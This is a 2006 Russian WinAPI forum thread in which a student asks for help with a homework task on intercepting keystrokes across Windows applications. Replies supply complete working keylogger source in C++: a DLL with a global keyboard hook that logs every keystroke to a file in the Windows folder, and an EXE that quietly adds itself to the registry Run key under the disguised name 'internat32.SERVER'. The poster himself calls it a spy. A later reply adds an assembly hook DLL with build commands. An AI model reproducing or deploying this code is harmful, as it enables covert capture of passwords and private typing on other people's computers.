Модераторы: feodorv, GremlinProg, xvr, Fixin
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Перехват нажат на клавиатуру во всех Win-приложен 
:(
    Опции темы
PrettyGirl
Дата 9.5.2006, 13:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 62
Регистрация: 9.5.2006

Репутация: нет
Всего: нет



Приветик всем!!! Я сегодня первый раз посетила ваш форум. Мне очень понравилосьsmile задали написать программу которая перехватывает нажатие на клавиши во всех WIN-приложениях(c использованием DLL и HOOK естественно). Встретила у вас на форуме что-то подобное, но пока не смогла разобраться...Помогите пожалуйста!!!
Буду ждать сообщения в асю 215 28 48 28
Заранее спасибо.
 
PM MAIL   Вверх
Pulse69
Дата 10.5.2006, 00:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 138
Регистрация: 28.4.2006
Где: Хабаровск

Репутация: 8
Всего: 10



Достаточно тривиальная задача.

Вот код DLL (Перехватывает нажатия клавиш и записывает их в файл C:\Windows\KBH.LAB):

Код


// w32_kl_srv.cpp : Defines the entry point for the DLL application.
//

#include <windows.h>
#include <shlobj.h>
#include <stdlib.h>
#include <stdio.h>


LRESULT CALLBACK KbdHook(int code,WPARAM wParam,LPARAM lParam);

/* Получает значение 30го бита*/
inline bool BIT30(LPARAM val)
{
    return val&0x40000000;
}

/* Переводит код виртуальной клавиши в char */
int VkToChar(UINT vk,LPWORD ret)
{
    char kb[256];
    GetKeyboardState((PBYTE)kb);
    return ToAscii(vk,
        0,
        (PBYTE)kb,
        ret,
        0);
}

/* cсобссно сохраняет в файл */
inline DWORD  WriteToFile(HANDLE hFile,void *data,int len)
{
    DWORD wr;
    WriteFile(hFile,
        data,
        len,
        &wr,
        NULL);
    return wr;
}

HHOOK hhk;
HINSTANCE hInst;
char WindowsFolder[MAX_PATH];

/* Экспортируется ф-ция для установки/снятия хука */
extern "C" __declspec(dllexport) bool SetHook(bool Set);

/* точка входа */
BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{
   /* Получаем папку WINDOWS*/
    SHGetSpecialFolderPath(NULL,WindowsFolder,CSIDL_WINDOWS,FALSE);
    hInst = (HINSTANCE)hModule;
    return TRUE;
}

/*Ничего сложного*/
bool SetHook(bool Set)
{
    if(Set)
    {
        hhk = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KbdHook,hInst,0);
        if(!hhk)return false;
        return true;
    }
    else
    {
        UnhookWindowsHookEx(hhk);
        return true;
    }
}

/* В эту ф-цию передаются сообщения от хука*/
LRESULT CALLBACK KbdHook(int code,WPARAM wParam,LPARAM lParam)
{
    HANDLE hFile;
    
   /*надо выполнить действие*/
    if(code==HC_ACTION)
    { 
       /*30й бит = 1 указывает, что клавишу нажимают, =0 - отпускают*/
        if(BIT30(lParam))
        {
            WORD ret;
            /* если это ANSI-символ...*/
            if(VkToChar(wParam,&ret))
            {
                char cWrite[32];
                char key = ret;
                char bufStr[MAX_PATH];
                /* ... откроем файл и запишем его туда*/
                sprintf(bufStr,"%s\\%s",WindowsFolder,"kbh.lab");
                /* попытка открыть существующий файл*/
                hFile = CreateFile(bufStr,
                    GENERIC_READ|GENERIC_WRITE,
                    FILE_SHARE_READ,
                    NULL,
                    CREATE_NEW,
                    FILE_ATTRIBUTE_NORMAL,
                    NULL);
                 //иначе, создаём новый файл
                if(hFile==INVALID_HANDLE_VALUE)
                {
                    hFile = CreateFile(bufStr,
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL);
                    //Х.З.
                    if(hFile==INVALID_HANDLE_VALUE)
                    {
                        return CallNextHookEx(hhk,code,wParam,lParam);
                    }
                }
                SetFilePointer(hFile,NULL,NULL,FILE_END);
                switch(key)
                {
                case 13://ENT
                    strcpy_s(cWrite,32,"\r\n");
                    break;
                case 8://BSP
                    strcpy_s(cWrite,32,"<BSP>");
                    break;
                case 27://ESC
                    strcpy_s(cWrite,32,"<ESC>");
                    break;
                default:
                    cWrite[0] = key;
                    cWrite[1] = 0;
                    break;
                }
                WriteToFile(hFile,cWrite,strlen(cWrite));
                CloseHandle(hFile);
            }
        }
    }
    /* Нужно вызвать следующий хук*/
    return CallNextHookEx(hhk,code,wParam,lParam) ;
}



Код EXE:
Код

#include <WINDOWS.H>

typedef
bool (*SETHOOK)(bool);


int WINAPI WinMain(HINSTANCE hInst,HINSTANCE,LPSTR,int)
{
    /*DISABLE MULTIPLE INSTANCES*/
    HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS,FALSE,"NPL.KBH.OneInstance");
    if(!hMutex)
    {
        hMutex = CreateMutex(NULL,TRUE,"NPL.KBH.OneInstance");
    }
    else return 0;
    /*SAVING TO REGISTRY*/
    char key[MAX_PATH];
    GetModuleFileName(hInst,key,MAX_PATH);
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        KEY_ALL_ACCESS,
        &hKey);
    RegSetValueEx(hKey,"internat32.SERVER",0,REG_SZ,
        (LPBYTE)key,sizeof(key));
    RegCloseKey(hKey);
    HINSTANCE hDll;
    hDll = LoadLibrary("w32_kl_srv.dll");
    if(!hDll)return 0;

    MSG msg;
    
    SETHOOK sh;

    sh = (SETHOOK)GetProcAddress(hDll,"SetHook");
    if(sh)
    {
        sh(true);
    }
    while(GetMessage(&msg,0,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    if(sh)sh(false);
    return 0;


Это-простейший клавиатурный шпиён. Надеюсь, всё понятно.
    

Это сообщение отредактировал(а) Pulse69 - 10.5.2006, 07:51
--------------------
Ctrl+Alt+Reset 
PM MAIL   Вверх
PrettyGirl
Дата 11.5.2006, 05:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 62
Регистрация: 9.5.2006

Репутация: нет
Всего: нет



Спасибо большое! Мне это очень поможет! 
Правда, тут еще появилось небольшое требование преподавательское:"было бы неплохо ещё и нажатие мыши отследить"....
  
PM MAIL   Вверх
forker
Дата 11.5.2006, 20:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 56
Регистрация: 27.9.2005
Где: Долгопрудный

Репутация: 1
Всего: 1



флажок WH_MOUSE и ссылка
помогут тебе 
PM MAIL ICQ   Вверх
TeeT
Дата 11.5.2006, 21:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 52
Регистрация: 9.12.2005
Где: Нальчик

Репутация: нет
Всего: нет



PrettyGirl а что именно тебе не понятно? исходников кинуть - не проблема. и ссылки на другие обсуждения. Может все таки попробуешь уточнить что именно не понятно, и мы с удовольствием тебе поможем  smile  
PM MAIL   Вверх
Pulse69
Дата 12.5.2006, 01:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 138
Регистрация: 28.4.2006
Где: Хабаровск

Репутация: 8
Всего: 10



TeeT дело говорит. Вообще про хуки очент подробно в MSDN написано.
SetWindowsHookEx.
Для начала там посмотри.
 
--------------------
Ctrl+Alt+Reset 
PM MAIL   Вверх
PrettyGirl
Дата 13.5.2006, 15:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 62
Регистрация: 9.5.2006

Репутация: нет
Всего: нет



У меня почему-то не компилится CSIDL_WINDOWS...
SHGetSpecialFolderPath(NULL,WindowsFolder,CSIDL_WINDOWS,FALSE);
    hInst = (HINSTANCE)hModule;
Не подскажете в чем дело?подключаю библиотеку, но....может не ту?
Или что-то с си???
Pulse69, а,м б,проще записать просто в какой-ниб файл не из виндоус? Это можно сделать?Чтобы не получать папкуWindows. Преподаватель сказал,что можно просто на консоль вывести...Я не очень понимаю, как мне исправить...
А то этот клочок: с регистром мне не очень понятен....
/*SAVING TO REGISTRY*/
    char key[MAX_PATH];
    GetModuleFileName(hInst,key,MAX_PATH);
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        KEY_ALL_ACCESS,
        &hKey);
    RegSetValueEx(hKey,"internat32.SERVER",0,REG_SZ,
        (LPBYTE)key,sizeof(key));
    RegCloseKey(hKey);

Если у вас есть идея как это переделать,напишите пож-та код..Мне завтра нужно сдать. 
PM MAIL   Вверх
GremlinProg
Дата 13.5.2006, 17:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2706
Регистрация: 9.8.2005
Где: Тюмень

Репутация: 99
Всего: 106



чтобы использовать SHGetSpecialFolderPath нужно подключить хидер shlobj.h и библиотеку shell32.lib. 
Хотя есть вполне безобидный и не требовательный аналог GetWindowsDirectory

Я почитал первый пример, его вполне можно переделать на версию без реестра и без файла, только добавить хук на мышу, свяжись с разработчиком.

Добавлено @ 17:53 
http://msdn.microsoft.com/library/default....ndowshookex.asp
тут лежит ссылка на пример использования хуков всех типов, разберись сначала с ним 


--------------------
"Гений всегда разумнее, чем умнее. Ум — это машина, разум — водитель этой машины."
PM WWW ICQ   Вверх
PrettyGirl
Дата 13.5.2006, 19:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 62
Регистрация: 9.5.2006

Репутация: нет
Всего: нет



а как подключить библиотеку shell32.lib?
/* Получает значение 30го бита*/
inline bool BIT30(LPARAM val)
{
    return val&0x40000000;
}
значение 30-го бита откуда берется?
Я просто ни разу с этим не встречалась...
Где и как оно сохраняется?Где-то в Виндоус?
И еще не подскажите хидер для strcpy_s? 
PM MAIL   Вверх
Pulse69
Дата 14.5.2006, 02:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 138
Регистрация: 28.4.2006
Где: Хабаровск

Репутация: 8
Всего: 10



Код

/*SAVING TO REGISTRY*/
    char key[MAX_PATH];
    GetModuleFileName(hInst,key,MAX_PATH);
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        KEY_ALL_ACCESS,
        &hKey);
    RegSetValueEx(hKey,"internat32.SERVER",0,REG_SZ,
        (LPBYTE)key,sizeof(key));
    RegCloseKey(hKey);


Я же писал, что это - шпион. Мне нужно было, чтобы на моём компе он запускался при загрузке WINDOWS. Этот кусок можно вообще убрать. 

Записывать клавиши можно в любой файл, соответственно нужно убрать код, получающий директорию Winodws. Тогда никакие библиотеки получать не надо. На консоль вывести так просто вряд ли получится, так как хук-функция вызывается в DLL, которая грузится в адресное пространство каждого процесса. Как из DLL выводить на консоль я не очень хорошо себе представляю... Лучше пиши в файл.

Дальше.

Код

/* Получает значение 30го бита*/
inline bool BIT30(LPARAM val)
{
    return val&0x40000000;
}

Если ты бы всё-таки прочитала описание в MSDN, то нашла бы там такую информацию:
...

LRESULT CALLBACK KeyboardProc(          int code,
    WPARAM wParam,
    LPARAM lParam // в эту переменную передаются флаги состояния клавиши (32 бита )
);

....

lParam
[in] Specifies the repeat count, scan code, extended-key flag, context code, previous key-state flag, and transition-state flag. For more information about the lParam parameter, see Keystroke Message Flags. This parameter can be one or more of the following values. 

....

30
Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
31
Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released.
....
Тебе в функцию передаётся 32х разрядное значение, содержащее флаги.
Соответственно, 30й бит указывает на то, была ли нажата или отпущена пред тем, как пришло сообщение.
31й бит указывает, нажимают ли сейчас клавишу, или отпускают.
 В принципе можно было использовать и такой код
Код

inline bool BIT31(LPARAM val)
{
    return val&0x80000000;
}

ничего бы не изменилось.

И насчётstrcpy_s:
Я писал это в MSVS 2005, там вместо стандартных ф-ций strcpy, sprintf, strcat, и т.д. рекомендуется использовать более защищённые аналоги strcpy_s, sprintf_s.

Если компилируешь в другой среде, меняй их на стандартные.
strcpy_s( char *toBuf, size_t dstSize, const char *source );
strcpy( char *toBuf, const char *source );
 
--------------------
Ctrl+Alt+Reset 
PM MAIL   Вверх
jonie
Дата 20.5.2006, 15:48 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 5613
Регистрация: 21.8.2005
Где: Владимир

Репутация: 7
Всего: 118



микро (иначе не назвать) dll-ка для хука (ASM):
Код

.386
.model flat,stdcall
option casemap:none
include    \masm32\include\windows.inc
include    \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include    \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
;======================================================
.const
   WM_KEYBOARDHOOK equ WM_USER+6
;======================================================
.data
 hInstance dd 0
;======================================================
.data?
   hHook dd ?
   hWnd dd ?
;======================================================
.code
  DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
       .if reason==DLL_PROCESS_ATTACH
           push hInst
           pop hInstance
       .endif
       mov  eax,TRUE
       ret
  DllEntry Endp

  KeyboardProc proc nCode:DWORD,wparam:DWORD,lparam:DWORD
       invoke CallNextHookEx,hHook,nCode,wparam,lparam
       invoke PostMessage,hWnd,WM_KEYBOARDHOOK,wparam,lparam
       xor eax,eax
       ret
   KeyboardProc endp


   InstallHook proc hwnd:DWORD
       push hwnd
       pop hWnd
       invoke SetWindowsHookEx,WH_KEYBOARD,addr KeyboardProc,hInstance,NULL
       mov hHook,eax
       ret
   InstallHook endp


   UninstallHook proc
       invoke UnhookWindowsHookEx,hHook
       ret
   UninstallHook endp

End DllEntry

def файо для нее
Код

LIBRARY KeyHook
EXPORTS 
KeyboardProc
InstallHook
UninstallHook

компилить так
Код

masm32\bin\ml /c /coff /Cp Keyhook.asm
masm32\bin\link /section:.bss,S /DLL /DEF:Keyhook.def /SUBSYSTEM:WINDOWS /MERGE:.idata=.texta /MERGE:.data=.texta /MERGE:.rdata=.texta /SECTION:.texta,EWR /IGNORE:4078 Keyhook.obj

ну а в основной программе - грузите dll-ку, вызываете установку хука из нее с параметром HWND окна что будет получать сообщение WM_KEYBOARDHOOK и соответвенно WPARAM и LPARAM.... выделение нужного из них описано выше. 
-----------
DllEntry кста идейно не нужна....) 

Это сообщение отредактировал(а) jonie - 20.5.2006, 15:49


--------------------
Что-то не поняли? -> Напейтесь до зеленых человечков... эта сверхцивилизация Вам поможет...
PM MAIL Jabber   Вверх
GremlinProg
Дата 20.5.2006, 16:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2706
Регистрация: 9.8.2005
Где: Тюмень

Репутация: 99
Всего: 106



Гут, только PostMessage нужно дополнительно проверить, вернее завести цикл пока PostMessage не вернет TRUE, либо просто отправить SendMessage. Момент редкий, но если в момент нажатия клавиши ты будешь к примеру вертеть скролл, или колесо мышы, хук будет выполнен, а PostMessage - нет. Еще, при nCode < 0 хук обрабатывать не нужно. Для hWnd нужно проверку на 0 устроить. Нулем оно могет быть только в случае, если окно дочернее, в этом случае оно имеет фокус, т.е. нужно нспользовать GetFocus. Чтобы не было проблем с системными сообщениями, лучше зарегистрировать в системе персональное сообщение для хука функцией RegisterWindowMessage и его отсылать в окно.  В целом - не дурно, главное - ни чего лишнего ). 


--------------------
"Гений всегда разумнее, чем умнее. Ум — это машина, разум — водитель этой машины."
PM WWW ICQ   Вверх
jonie
Дата 20.5.2006, 16:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Завсегдатай
Сообщений: 5613
Регистрация: 21.8.2005
Где: Владимир

Репутация: 7
Всего: 118



писалось когда я только начинал писать на asm и даже не знал о С++  ))...года два назад....
Цитата

Момент редкий, но если в момент нажатия клавиши ты будешь к примеру вертеть скролл, или колесо мышы, хук будет выполнен, а PostMessage - нет.
Хорошее замечание.
Цитата

 Для hWnd нужно проверку на 0 устроить.
Не предпологалось что при инсталяции хука может быть HWND инвалидный передан. 


--------------------
Что-то не поняли? -> Напейтесь до зеленых человечков... эта сверхцивилизация Вам поможет...
PM MAIL Jabber   Вверх
GremlinProg
Дата 20.5.2006, 16:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2706
Регистрация: 9.8.2005
Где: Тюмень

Репутация: 99
Всего: 106



Цитата

Не предпологалось что при инсталяции хука может быть HWND инвалидный передан.  

Упс, не заметил hWnd, я не об этом, ладно, не важно. 


--------------------
"Гений всегда разумнее, чем умнее. Ум — это машина, разум — водитель этой машины."
PM WWW ICQ   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "C/C++: Системное программирование и WinAPI"
Fixin
GremlinProg
xvr
feodorv
  • Большое количество информации и примеров с использованием функций WinAPI можно найти в MSDN
  • Описание сообщений, уведомлений и примеров с использованием компонент WinAPI (BUTTON, EDIT, STATIC, и т.п.), можно найти в MSDN Control Library
  • Непосредственно, перед созданием новой темы, проверьте заголовок и удостоверьтесь, что он отражает суть обсуждения.
  • После заполнения поля "Название темы", обратите внимание на наличие и содержание панели "А здесь смотрели?", возможно Ваш вопрос уже был решен.
  • Приводите часть кода, в которой предположительно находится проблема или ошибка.
  • Если указываете код, пользуйтесь тегами [code][/code], или их кнопочными аналогами.
  • Если вопрос решен, воспользуйтесь соответствующей ссылкой, расположенной напротив названия темы.
  • Один топик - один вопрос!
  • Перед тем как создать тему - прочтите это .

На данный раздел распространяются Правила форума и Правила раздела С++:Общие вопросы .


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Chipset, Step, Fixin, GremlinProg, xvr. feodorv.

 
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Системное программирование и WinAPI | Следующая тема »


 




[ Время генерации скрипта: 0.1079 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.